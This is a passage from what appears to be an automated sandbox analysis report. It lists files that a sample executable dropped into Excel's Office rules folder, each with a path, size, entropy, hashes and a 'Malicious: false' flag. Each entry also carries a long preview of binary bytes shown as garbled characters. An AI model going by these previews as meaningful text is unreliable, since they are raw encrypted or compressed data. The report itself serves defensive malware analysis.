SHA-512:	F9FC6E8076BB8AE03CAB97AFE5CE4CA77810E64AD751B3F442AB9B01A1EF9D7462B0F74F0B1F286D2E06A0D9717361E8F574772966BFF94CB71E8F28F6C8C4DC
Malicious:	false
Preview:	<?xml..\.J..V...,1...4'~>.#..N.u..r..8.c....:.."w'.."x_.a.U.Z...w........Y f.s....FW=n.........4..G..\|X.........m...%..C..=>r[D.........Ol2.ij.........p(.@..f......ev..k.2.:.,.7.... .GF...u.#...o..-....gI...c...J...s...%X..2g.....EN...OD..8...H!.N...F..wE.R.d.............!r.a}..a 1.b..XZ.?..c.T]V.d..y..o'iX..m0P..`.9.'.u.(.+r..@.)Y.G3...\|..).....g....;Q2.a.'..O....~..... .}.. ..8..J......k%..>pz.\|3k<....G...o...IM......d<$C...9...Z...%J....HXCC..Mo..R?...X..u.i...-....,fqY..<...`..s&Y...\|.d.sY.B.])..q.R.%9.5._ ...t'....[.u.......34n.<F2M.e...(K.6....Y..h..8..V\|.v..4.i..l.@..m.\.pO....vY3.....'..t../1l. ...._.....I..x...6.(._>..dv.....Mn.....:...K.5.o...;C..a.....E....g......F...i.n....vP.m..l..D1...I..,.H....v!....LZ._.K.{........YZ.n~...Z+3....s.....Z...A.$}5....!.xL..2.....PJ.t.-gRQ.... b.........D.D..c...b.;....9....pf..]..i]......%..b....&&.kd.X..nY.s........y1...Ta.*...(....1}6..F.b.`.. h.=@I...o.0.s~,.l,.+.R..z(.E".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.818111324698003
Encrypted:	false
SSDEEP:	24:LTGbjvXOTElSNyAtg56qfZ/FdI6Mb731FVPXjyofAmObD:3sOTElSU3/DAFTyCAJD
MD5:	01766A8FDFC8745CE5673F85930AD8AB
SHA1:	53B509AD19C38CA95F996EB53C7315672B5E61A1
SHA-256:	678E4C481AEBD2B7AF48074CA71CB1F63277A7C055D2CAF238E5B6B4D24C398F
SHA-512:	944D13D3797A8DF324A3293BB9CF90241A4DEA4090D4DECAB46461F359799A17C01F6AF594D76215C523AB912B00079BCCAFFE24A647B220EC5B79005B97CEC3
Malicious:	false
Preview:	<?xml:.W..k.yT..a...>.Di.....$..w..L.f.......>.<...3.Oq...8...8...$t.C.X......z:.A..[..7....% ..=..O]~....H..:s.3."....`_T......i..D.A.!.W...Nx..7...n..8.],.Z..6.S..Sr..=..cj.o..M\|...O......i.o..M..."C..(..ljE..?u.......G.-S.Le<.#s....U.(#.B..8K;z./DT..=..D...%.8>....^.:e+"...?.~>'.....BN...S....8L..6...\|............(sg...cgtZ=..n....:v.l.".I.H.)N..^.O.!...sY....xT9......"Q.4.\wI...B.^'.n...9.D{...,..H...-.k..v........i.4%....3y.-.U_nG-....J..n.H....U..LM........!3..$.92t.........K........`..~K5.. N...gR.$..}J&{v..9d2.k..Z.....X5.p...)..V.Jp=sb....}0..z(........B..kD.....Bx.....).....<............7.-..c./.".n..eq.H..D...e....>.vr%n!?...B.......bt,2...u?UV@Od.A#.j.?l....b(WY/2...'<.9.Km._.y..F..e....\|..t.......[.E$...o{t..sS...9.+.]U...3....&...g...RM.w..?.!4......i.....Bhb.l...9.\|.C.w.i[..#..:.6.s.J....WnN...(.J]t.D.D].X.<..d.dl...ESD6=.;...s}......3<.....q$7....Ub+u..N#$..7.P.O*$h?{.C...F..??.Q....7...l..2.D..\OZu.g...:.G..x9.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.79402220621467
Encrypted:	false
SSDEEP:	24:aSsPk1GWrnKQZ1QYDiXun/AkDo43kOF9zkswObD:aSs8rnlP++nR2OksjD
MD5:	B78090299E4D802107A6E7C201EE8F35
SHA1:	98A611240815C0DB3FFAEC167924E704A667BADB
SHA-256:	A13A8920354A530998134F3D7DE72415E5657676144A96D7619C8175AE7B16CE
SHA-512:	71005EE5FBBB6A65967B18466227ABE8F445021FED56DE76132786E9066E19F5B9616CEC55839B71BCF90A39FFA16A98FE8543D36640B683D2EA8A34533CA24B
Malicious:	false
Preview:	<?xml.[<Bzww4Z..../-..e...............I....z....mJw...k...\.r..+`E.3_...H..V.&..l:)r....5..0>..G.N! ......*..gq.....\|..o.u.....e..e..E.{Ne............V....q..e.....B..6.w[...$.Y....&.H...1-.~..'...d..V...{qYW..o~.@........Y.W..u..u.P...u.,.FD}V5..-.'.O....."....e..Y..7K....]w.....U.y9.O..Nh;.'.J=.~..S.l::u..n..d....z<.5H..n..d \ih.."..\...M....u-../I....B.._.7.#..\....=l#..hr....$.......}...`..s..t&J..$..i:.=.b.,ck..... ..ys....;....qt......F....>XA...-4s.Zg..D().us..J.t.d5..[..F..Z..N......ap..uG##...@..~..{..W0w.p.v..B...&'0....z.pwOr..b...vt_a.}..>.L.P&.&....y..1........@es.4p....e..>..3.......]u...Y...J.<.U...eQE2.Qd]....g.:.o....Bdv5.N..3.(=.u..?7'.R...j.9.W>]....Q...@U?+.,.$...$d.o..o....cV..0.Z7..@pr...@...+....8...c..1wl...U[..V.:B..8X9...h..?e..7...$qN..........Z.MoI....h..)P......@.#......,..B.Z.".....d0g..}P..a.T._.......S`!../..+$..h....A.g.r+..\9G..q.D...[.9.{"0t.i.pt:....X....WA.V....C^..i..yB..%vK..;.....+...]=`4..q~Z6iwS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.940918706321385
Encrypted:	false
SSDEEP:	96:5X7MjHLVH0F/ApE5cWL2sLsfzPCA1sJ7rDLkmq:5wjhUF/ApWEfzPCA6Z/kmq
MD5:	ACD4D992FEFCDEE136D560CDC89D2FF0
SHA1:	7B64A621C122FD333CC36950A31B953CFE6609DC
SHA-256:	81F4BF87812232531B3DCF55121EF1785C7D3E5E1F7ACD2ACFA9219D023BEA72
SHA-512:	77E0C756976313BBC355947B653C282BBE77E8129EAF26E708FF83B3EFDB5293B3F225AEFE6F6AC0760C47C98D2E0EDB491B563410641A51DFA47F24004F2CC8
Malicious:	false
Preview:	<?xmlv.wB8...8g..x..0..}....h..#.'..6..jX5D........S.,..W4....r.....oQ.g......p!.E..".P..IT..Fd...AB&..G.Z. I,j. ..2.=.X.....*p%..b8.(T...8'X...3'.rS.......$G......b....U...v.........H..T..U{u.......MY...wg.F2..{......m..;.p^.Z.4..........i.JRG.p.!a.<..W.J.ek.....@t..8S....%...h.s(/...Xa.MF.....(....-..$.R8.%....~.fWM''e.^..K....?...E..0.zq..r..........w....Ji..}..c....6.OXUOu...&.......].b...M....}yH.._f....n1_.........Z.R...N...?.5...pT..@..4..V.;..q2...@?{..q...dc......>}...4.RVz#..3..I..r...]/0.G.}'......<.. .y$\.u.m!..r._\....cC./.eK...P.D..T.qm...i}.....a....3....w.4..R.....l.H?./...i.(...N.n+.W.)~...yy.y....l}..~B.^.[y!...rO.}+...4h}S...j.S.X9\!i8.;.`.........=......u."+e.............NQ..D..xF......g.>.....P....X...A.....j/.?..6.K.@..kY...M\...tp!.m....U...1H.sL...w.l..[.^K..1.^........./.z.b.F..Ykh.j.......E?@o.lE...#......q9.k.TU.z..(W.Ju....T...=..B..."..R\|..N...D?.\|..v......+...j.....,......1%......\|..t...%...........=. ;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.839469268330297
Encrypted:	false
SSDEEP:	24:GtKVUzZ3w5H71WktC2k6vjYCsYBYw752OSDilehWXUHsQelaM0OmjObD:uZA5bLt46v0g752OSDkePHsvIebD
MD5:	70ECDBAE56F9A53004EF3025093A599E
SHA1:	B1EBB0CD6E1DB1AF1B9BD2BA62A22E281247B011
SHA-256:	AB8EDF8D96687BB553EA301B35B6948D0708EFACC2FE8E586ED8E0C001353AC4
SHA-512:	12F3E60CABEF57338A6EC58F197C2C8660E8C637D0BF981945E2A0B963F3F6637D5EADA476750B5016268EF648DBFAB66AABD271015BBCB721B661732D278867
Malicious:	false
Preview:	<?xml.8......}...~R....v..FN.I.n..>.).p+.#vfr...@..-\|...q.<4.....(...T`.i......I..! M......z.}.R...$..'9.......x+...:.T...%qS...+....d..i$...tjI....,."....'....J..#.... i..v..9[.L.bLT..x(.J\|.T....b...."..S.,:E...B..X.z.l......'l;...[....q..'...1...._....5L .../...t!...J..H......R........\...f}.v[...K~..N....8.M....=...Q.....aB.. ....KcR..{..=Fy.rz..$!5w.Uv....e.&.!..5.id.l../.{.8..?.%.c.....K>sr...$.Z.C.c...0.hF.....`o..J^..\|..<....rq[D..j0.%/..c.~z3.Pj....y[t.[Y..U..m-...<..j....[...5.&y.....#3...W.<.x.HH.=.....e..T...........[9.....F..EpM.H.".. .e...rFI...Pr".E..S......k.H......!..]Q7TRx..%.(..C....H9..+....c.A...~.......-G.1.(....K.S..J[!.t%....Vv..~t...q.......^.. ..=7..n(.4:.C..J..._}Z1.^.?..}..Z!...../s^....MG1..u.+.R.z...i.......u.^/..nQ./...K......%...F.(......e.U..5...B..."T...TE..ed...\|..^.b.R..2."..&z(t.8..Z.^....d...0.0.]j...1V..N..Zy.B}q.....gcx.VKS.&s.=.g3mE~.K;.%}.....t?...A^...\|....+..L.?...(-.k7.....".3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.976934279634383
Encrypted:	false
SSDEEP:	192:4UEg3S268BHVRdDzT9crF5xU7X+Z6VMzt8ucuiV/uaWOY/:1Eg3n1RdveZ5x4X+ZuMztpcuRaWO6
MD5:	FBD1B3B0AB50A83F910283FEFDF76E3B
SHA1:	8EE2A19B3ACBF505CD553B038EBF785499F2BAC1
SHA-256:	11DB1CEADB8EAB727C5FF87C5656125188DBE0BA2A4FC6DAACAE0FC46F2E4D73
SHA-512:	1903468C9AA13991AFEF2FD41CCD7297C06FBB23D851D7A615980154A20D512C5081D9B196ED7639E751FEDD5454D9F89ACC2CA41D5DCA16A3D43A7D65C32B2B
Malicious:	false
Preview:	<?xml......4. ;..@#....v4.N..\e.c....y6}....._.,7{..O.Z&.../...Sf.}...%.............\..F...j.@. .$.{kE.u.....+.?..(.YO.G.n..h/.wj.c.8.]x...=HZ..B..`v`.. 7...w.c.0.u.....I....ULF.....K....#@kG.4x+.jC.;&..}.Hq9.+h.d...V..&T.{.b.L".6.....L.@q..QN6......h.LYE..f.<.....1..=.~...@....Df.].Zx~.H...5.m.^>Q ....a..Q..[.3.D...k.....V....g.q.\.&..c.r..`.E.L..../.v.(k.....+.2OQ..2b...9v.h.,.6q..,H..}.C......+.....a>.9%...b.a$#.....[.7.......T.....z...j`...>DE. ..T,.eE.......P....._.k.......z..:...-...e'H...u4....L..KG\......\|.Z......(2H.l....?{..c.q.u..P.4]bcc.Uo.&...K..L].cP..}n.q..CTb..p.m..bq..0......w...Z...G.-..'.D.S..<.f[O?>.p]G.}.A,..j.,..]....d.VW...b.d..A.......<.....\.s..Ey.....`:..f..)..h.h>...p...U!.q...1.q.Z...>3"..@...].\.S'H..I~...%......B.m$<........R......O.H);DIS...E..dD_.....,x.{..P..T....>..4.B..R.s..E..+.m.... ..l9....c..y.A.....X....d6..L\|.....&..jc...i....Z...8xc...>]....x..-......rB..S...o...s.....eU..........\.Q.>,Td@.Fe.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.733652240564771
Encrypted:	false
SSDEEP:	12:OiZaQopn4OtlKriBgcUns/0yCgBmYRC3qaMM3Io23qzPKH6z2ruOcii9a:3oQWhIrkTIscRYwaaMs26zPKH6z1ObD
MD5:	20099457470F0DEE4291E618365DD506
SHA1:	A2F70DCF43C41387300FD3D1FB5B4ED18EB909B4
SHA-256:	4EC2BD9C897CB5BFB67A25A454B83ABA908CF0272EFCA8FE39232A1004F89F13
SHA-512:	F2E23995D76EDDB11EE34BDA9C326CF9C951AEEA992910FC482011ACA8780511454BC4E6611C23998DFF1525DB68EAE9A35B771A250DD85A2FE4A96650CF2B0D
Malicious:	false
Preview:	<?xml8..H.Xyi...S...0uM...\..1.>.Hw\|1ME......d.....}5...`Q..Ap..y)..exLQ.....F.....~....LH/....g............;y....a....NaR..T;..0...M.T.;...M..T..../...:..4s.aki-...4t. ..9.@...s.f.<.4.\.G....Ar.8%.%.....N..WP...$0....\.a....5.Wuo.-A{.-.7G.wY.Q..T.s.C(I\..:..-..Gn.4..._.r.....B...'..M....Q.-..."7_~....#..mVo.<.^Wr\|.-..?.....3.i>F+...~......y.i.~...N...\|.B............#.....w..')......}...>..L..'.(#.6.n..8Uo.D=49A...).......h..V..w.`.......c..r%.04.d..<........r..H...+.J)...24..eGl0!.......9...f..R..b..^.Sq.)G.n......f...V.4..~..J.=...}..[xs...`...h,..{p.s.0...dY.*#.](..=(.YG..`.6.......BpE..F...)....N!.8..8l.]\.Up.........Z?.(<iG.qd...#...4.".98.(.t.}a.!.....R.-c.K.I6...2oP...........Y3..E..;.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.92035760936423
Encrypted:	false
SSDEEP:	48:IQ04gImCIwnOtHR/oSIvuGwLY32zTUFBHLJ/bD:IQ3gpCIJtuSgw03pFN9P
MD5:	B3EE11C15D5A283B2BFC0E76191D5412
SHA1:	8CA13A3E6D1E26563F5F729806BAC1FFB5CB650D
SHA-256:	1059D38A020EADA6AB1E86C3C05ADDE1F093F0F7CDD8F9C0F9CE669EA5BE2456
SHA-512:	5C5BB83949F2105A6D547E4CAFF0F6D909FFE1C3FB17BC85ACC779467141E86C3A23487FF50A20D0015B6E773CBC6D12C3E01D0BC6456E6FAC546266E7BEE91E
Malicious:	false
Preview:	<?xml...o..m\...z.....A...}[......B..u...@..f?F...hmMy....... ....uFl.w.nE.A....x.\.Pk.RZN...L.....-~.^.\|...$+.Q....!.D..Q..j.#...- ..5.-@\|.I...iX...>.i....rt.^=..q...K5....0{,.@......i0..XP..2..}4.G.mWf...2..[..Ku.....;.+/]^.......T.}..w.{.I`.....C2B}..%."x.u....@n..@4..Sy...<...[y=..&....w^..E..I..{N1F.c.=.....2....X.X}...;s...z..dQ...../.gY......E...$...6J....x.F...........P.ejpZ..(.Iq.~..S^.S..3t.!.D&....^[...r.e6...k.I.<.8..AW.(..};!;s.Mq$.[oK.15~.Vayp$..........!u....U^..#..FI.!ga..U..z...@.TY...w......+..o.&}b1.\.7,.....V..bu..b.[........~...x...}.'r....8.{`....i...D......j_....K..3!.m......3...G.rZ.5....=..7......J.S.......y=r.y.>.....e...."....'....]...{yUs.....].%h......3...E.b..V..Y.1..E.=+..@...#'_9?..d.EW...y&...7.q.B.z...T.K.S..>........a.5.........h...R..4..~{:-.9..g$.../4.M.].N....\.r.`iJ....m.F..k._...q.o.P.....)...E..xfcu..NH...oQf.I.8......k.b.........?.-.^XN=D?.4b..r...I.Y&.y.k.M.{.`.?..\.m.......5."G;?cT..\|/m...AJ.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.855204608474807
Encrypted:	false
SSDEEP:	24:iNh6yz1fPM+Brhz/ZCbFCrODNFLaEll2lsqNIp2a6FAfCrHSObD:Mx13Hfz/I8rOD6E/25XAiD
MD5:	4EA29424AF645D0856DECEC141DECB1E
SHA1:	0930FF6B619E964CEFAA0F758A5AE2BE0DFF49AE
SHA-256:	58CA835B002D8F8B85EEB1778838A4B9A0344371AC8E79FA11C9FDCB0C1C218D
SHA-512:	2AC477CDC18CAE1739938AD3BCECDA15247FD1A77572B74D5C46160552E0DE1603E0ECC2761E021FED2E8A07AB892DB3BF0F89399A92887F8D3F84E61D0481D3
Malicious:	false
Preview:	<?xmlwv.9...Vd...v{.......>;.!.(..X ).J.\|q...5.4?....vZ..G..>G+.........p9..v....._.,.0n....>.r.......Y.S...yI.B....E...u./.1.....I....-M........Y?.^...!.$}.....)....Y......PW.^K.>1.aN.)....../'.@...t..0.;g..N"_(_.2....}6.J.......5..a.=..Ra<.....C?.gNXl.X%.G.......N..Ku..S..5.I.....4$......P..8..f.i.(...`pu..m.4..X..f...!i.......s6..R.<w...}.6(`..zu)..%.R...o}.]Q`&.`.!.\|....?.......y.4(. .TP..l\|/..X,....7..X1[...vN.}.R..<.T.'...8..>.i....i...c]..\|=...<\|i......n....su.... e..i.?V.4...2S~.a....x.2....).....\.[{..P......i8...j?....q..8......s......"....p0![_(...6.Xp.-..K.hH;....,...L...'=...m...M~._(..6.m.\|...g.Ld..l..k1.h\|...........ei.Rc......Q..K2(^.....f.k].ZF..!..A.....y]...V..P.-Og.i..;.Y.^.K.K.....m\|.9..I>......b/..>.hQ.....)7..+}....%.\.N.6g\S7F..$..A..#............"=eU.YF.5..f.....o.r..L{......1...z..#..\..}.1gQ.]5t..4v.`.i5...%..&r......Rl..b.Z./....q.n..J........2..\....=p..$m.*@.e.9....V>{...[...'..x...C...I...<{..z..A..#..)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.935490280021833
Encrypted:	false
SSDEEP:	48:7f6NgibEGOT0FlTLe+Crf+fzJ/T6LGoEc0fZ8OHDOwsVoK3xqvywD:7fcbjy0FRmWfF/T6Lq1fZ8OHDCVbLs
MD5:	8A10BA15D732C5D77C0C73E909A64395
SHA1:	D03A26ED271AB8B80601E4E7D2B413608890B17B
SHA-256:	67D3E8E5D669441F2484134D74F93105755142245AEAAD7F62C609163AB398E9
SHA-512:	BB4FB9386884852B30987A2123CF242E40638BAC6A7CB8D0EA7F08A0B3F368C4DA18847D65FE5A156BBBA117C84DF512F3BF4039B44AED8AFA76D12AE1DDBD64
Malicious:	false
Preview:	<?xml..C..~w......'......Y..0.S...H@.....!<D....Z..],.h0............zU..X..n..'..o.....oha... "@$Gm).R[...kd.'....w...I.o.G,._.A..W.UK<@9.. j.s....;-..?.!x.1..C#....}...<....=....W9..hVgdG.Q.1E..BXs...`.....G..'.Y...m.&#.(.F.?..?....T........B%..E...W/..H/.G.m..._.>.....m..=.p...x3....A'T..!.3......'.7Y........r...j$..m...5.6..O..D..a..b7.s=..n..I...../&..W.........0...C..K.............~.....CYdZ..;...q.w...Z..j.........=..!......^..U.ynr..u...... 7.i.v......7F.)..PJ."..K.\l..yf...r.+w!....1...{.ek......_..u..R.H...>q...+..0I...Z......`...`.....^<......>X.f..n.#.Z<#.=..z....Q_:..2.R P.x.Nx..E...8{U...3..g.Y.........j.xO;....42.%Nq[..._..,6kR.d.6.g$....N....p.n.....$...\|....Wm{.x.o.Oi..-:)2)s...&...D.;y.G..[0 ..J.j.+...Zz..HO(X.."#....Y.\4.r)...@.....&.e?......n.^z..../..hH..*.tUg.xn-5\|/..W..0S..={[..a.A.....%.MP3.).b..iJB.L..i........S....,..w.B..p..^.f......x#s.5._.0...G...U.....ol.@...J..p.I....FG...Zu.IV..=...J..9t.mO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.891247723532829
Encrypted:	false
SSDEEP:	48:fK2Piu731JwhLCEtVjJG5B7Q2kGipCIMcIuCf4ntrw3uVgZ7Pmy9lcyVlruUPtD:8ECtj85bu6uCCtZ67PmCeyvN
MD5:	0147C12863D4E458543408AEBEBDD504
SHA1:	777D05EC9D88ED3C1605E0DA57650149A30F4F6F
SHA-256:	C29A3DA9E7C5E3BA4BFAFE11C7AFEA3AE81E46F204047D26F139A91A505EEB60
SHA-512:	395CDC5EBB39B5C9F1BF74D6C6E17C41B2EF51F61742CB63EB6D2852D30F38B6B60D08E4E9C6F8640843AA55CDEF9511CDE0A3D085014A457DF669286E34BEF4
Malicious:	false
Preview:	<?xmle#..'...H....%.&...$....-..m~........M..yp.H._1l.+<.'...Z.s.Lc..mV...YC.)...xu......I..2.%.".1.-.......l.6.;..4;g.1.&e...Ldo..........:Nv.v....Z........`..:..3_.x....ja.....r.......s..&.......F.G...V.\|G..AN..zH..V.N3e/..W.D.n..".%O.....f.).[@M....<.\.ZCtNG..A....t.P.....E.......eq.;E#.Y.?\..R.....5.6.Rz.....z.%`.Z...O....i....q..A .1b.K.K.....@ ...C..[}.......T.H..A..Z..zM.Iv.5.......#.]b...W.......4..3......-.U..y..%Z+.....n,:...C.!..:.hV.+...#.9...x..'.z.R.O.....UT...P7...K..~... ..yZ...}..c...V.^.)....@.=\..p..y.N5E...:...k....S..sm...}GE...-..b)\|#.2.Px;....4N...8...~....\0..B..=Mi.c......6.'.kf..;.p...!6....x.4s...4.....><....J.."..o.6.wQ..3!N...?.wQ..l.Z....,.x..u............KM..V{..N....~.....V..32./\.@)<.1.T.H...X.n..;.jl.m...>P.R...'%.......0gZ....8!b.c...."...s...E.s.].%..t@D..=`..........4.v.brX..'..JW.......p.}...G .R"...O.o......D..h".L.....:o.G.r...h.y..j8.+.*.N>.I."\.z...eR-.E..Ls\|............%../@.^..G..5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.974581181739972
Encrypted:	false
SSDEEP:	192:gwdt7pj1oDvx/d6kQgm87AIZbiS6tbdEQMY7MSspYsrzPeVYS9yR:gwjFBIl6WmE/6tbuVppmVTQ
MD5:	432D2DD01423322DFF3FD153753F6342
SHA1:	F6A4B42C41B6C545E73DA5EF7BF1BBA51534590F
SHA-256:	695EDC352A9E4DFE77F7622813CD42EFFAC27962276DFF2322D2EC2882434EB5
SHA-512:	E835702E16C5EC9B1CDA1A59ADFFB53EA40AA1E53875B89D43C50283BEFF3EA8982C6BC8B0F774F55298033A4D800BA4010CB10FB42DEB20010597996460D7F3
Malicious:	false
Preview:	<?xml%\|#.bn.^..ZWN../g.)s.:.!...Im.1..r!mp.[)......,Zu(.+...D3......Z=>.}$.,P.s{..I.g..2.Hs..k\|\|e.]!Ad..7'.....hc.. v..;...qh4..\|\|u.J..I.G.GD.X..&.....M......a..S.D......... ...0N...s.x-,-..\|.Pc...fw.A4..[.^........Qy.F.wT.?..5...g........(A... . .b.5.gZ....M.v...^.R....Fb.HL.R6.F..H../..OS(...\|.g.lo..E.1y.=.J..{.2.7q..{..V....T.M.......3..`{.Q%.Y..RN....Lba.I%......W.......RQ..G.....VvV}"..\..F...U_.....P..\|.@G..x.t.....u...Ir...8.....8.Sd..y+.<..>...}+..sK.=......u".....b...x...l.]..%...I=...Ee.{".Iv..+0d.nT."w.=...h.'...B..]....=<t...d`t...cu..#.y...xp..~a....v.*\|o.......S....O.z.W.-.j...BP-..w.a...w..........X.%..xB.4'k..N..?o.&.X........>;L......5.E....1e.>zO.......PH..1.B.,...Ok...;r&,&....'.g.."......0.......l....O.H.n.....U<.<....=...#..v\.....b.X.W..~.7W.....m...&.G......o.F.aW98....`U.^K..z...u./P.k..]..].1...:..i.F./.%.....n9.S../r.[..Y...K.~.ln>.h....K.1.......d.G.?.]...H)y..0..8`tm>..xM.b`....._\|.TC.....Cw.4G<.q..Ha./E..5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957183410117988
Encrypted:	false
SSDEEP:	96:kj2f84/PUxqkQBe+Ui1V5xIBw8GbE8HcUT5Kxp:BZExVQBGi1VIBwpEIcUVKxp
MD5:	0E7EDCE9F91110068B0A9486CD584945
SHA1:	3E7FB669BFEC6F17BC1B5F6C61C6EFAF93FF474F
SHA-256:	31F1D7521B182E46678FC2323102621C6B120C8D7A8614F2E534E636B503E615
SHA-512:	4F36FD2C6734F21E2964EC2EEB72E9C1D57E4F1D1D699EDC1D3F35EBE5EC4B9F2B92BF4A380F2729B5201C5CD8D344EF439079BD30F1AC402E1C029DA95097EA
Malicious:	false
Preview:	<?xml.u..X\|..9.^....*...?..m.\............n..q....l.f....J....M..ka...C'd-...l6...dg..S... .1v.!...<'..t.<1.ip.0..QmEY..};.(...~......CO.(.?..%.. }...N................(....5...%."..y..s....e...V.'...../....M./....mVS>.......3.....Bk...r.l.[..H.....y]....50...=.3.....j^%A...6.:.L.)[^5.8?..i..r....)NO.b.v9....z.k.E!J.Z.P....U.[....S a..O5.r.."G..R.....Z.U2h......e.....K\|.../]Hk..R.uw.:G.I.<d.b..(Bv{2. ..l....HC.j...".s..n8E.U...)).....I.$..RW..6.9&(.:.....X.b.K!.`.FH..Yuj....r...mQ.7.Bj.^...gFv...LH-....Ap...A..JK.#.<.....4h.$f.(..h...s..f...../......,..p....g...(..f.......sX...e..k...>~,..q"ORt../..G..B..W...:2..l...z...........m7.;.&.\.}..I.1.x.D.........0...-_....9...r...(...G..;=...z....i....d.P`\K....'..m{...G..m.kuo.k.....v.m...!u[U.....E..h.H...u2.~.&/..y.....M{Y....?...Nv#.FUD,~9......8^..[._F..\|(.Wb..r.q......P..L..HdY}D-.p......l4Z".@...F...t:q...._..y^...!..2......y.H....GzF....q.9!..2..S\.;.A..'..cP`vK.8.;..y.."ZJM.HL'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.954597475109098
Encrypted:	false
SSDEEP:	96:zAjTkFhCQqr48qRg7s01LpM89/1pHEUmBEIEq4ZI/WaOs0hu9PZ+yh:8wP+xqRgQ01LpM89/1pHGBzEq7xOs0O7
MD5:	C369917E1B3F8E6DCD5F2675F35C42EF
SHA1:	5D5572C94658AA09AA028E490251BD211D673881
SHA-256:	80EF84CE390EAA204E0337EF4CED3807D2698871DEB93C61E4A61D9D70FCE542
SHA-512:	DE9F49984752FB38342164A2D429757F4D43B9EEA7A7ADFD8B2BAB65066CA9B30BF71C43DA2E17C7CDEB3F3F6AB1B3ABB553C832AD7EF6B181E0CAA02EBDE5A1
Malicious:	false
Preview:	<?xml. p...5Y....$.f+sT.6.....:9y...0......\h..r..(.RpT}e......]7m'..ib.fCpV..[..z>..X..(..\9l...t...I~.].k.c.9....q.R.F..R...v...4r.Z.h.?X_...A..,..g5..~.(b..A_.T.T.o.$.(....h....:......&/w@.M_8^..V..k.&uh.3..2z...&.y...:.P@i...@.8..Y'..)K.....k....,S.q.....8TEj...../..s'g_.....o..."@Ae..C82hT.a.s.!...k..3..../.`..r...K.3k...5.O".......4.....j.C.Mz.".......?.w/..bu.Q.o..f&.t].63.g.....%X..J.v.LZE.1..R..qn-7dvo#.r.....c3.....Q...P....-.-.n............z..v.{..OL..b...F!.g+...._.wpr....B...\Q.....Y..,U...\|>L...s....\...r...BaK..... ..F....0...0.....q7.6.........9..h.;X...2(. l.#......s.A.E.^.5.....0.7?%gK.......H.d..] .3..r.F..M.D..p8.9M.... `.W...ZYD.DR...x.&k..oT.7&.J..-.R.Tk.....^i...C...w&{..q......f......)u."..cr.......p...G..zE#...i..g.............Go.u.....,/n....%..6.}.(..<....+mo.D.Wc.67..SI.=..#...X..?......SF.[.z\|......w.1.....>.....b...fw... ..ZA._xx..........q?.7......3.......-....Gig.Z.J(e.').......J.P.....o...,..;.+.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.939543149428955
Encrypted:	false
SSDEEP:	48:6XEK2pHf/obayJ6g3NetmfNiFBRDYokno/Ku33DJE7LRLsHbhHxRKCHVU6D:5K2pQ6g3NeofNwbyLCHbhRRKCHF
MD5:	AA05056F3B261A1D02CBD784727F7F94
SHA1:	4A98955DAADA1036B1A8D5A981245902DA17EE5F
SHA-256:	7C7DB5155C522DD0D252829EEDE706F7BB5A1CD4931796777736F40AC6E4A590
SHA-512:	375690A46E463768BC23B37EDCBA1FE1F49E8292C2559517A45D6589CAEDB71CB3D5B681BA0BF1CC696FC6B0F1C3DA785D4D77E260578D0F685CD55DB7D42914
Malicious:	false
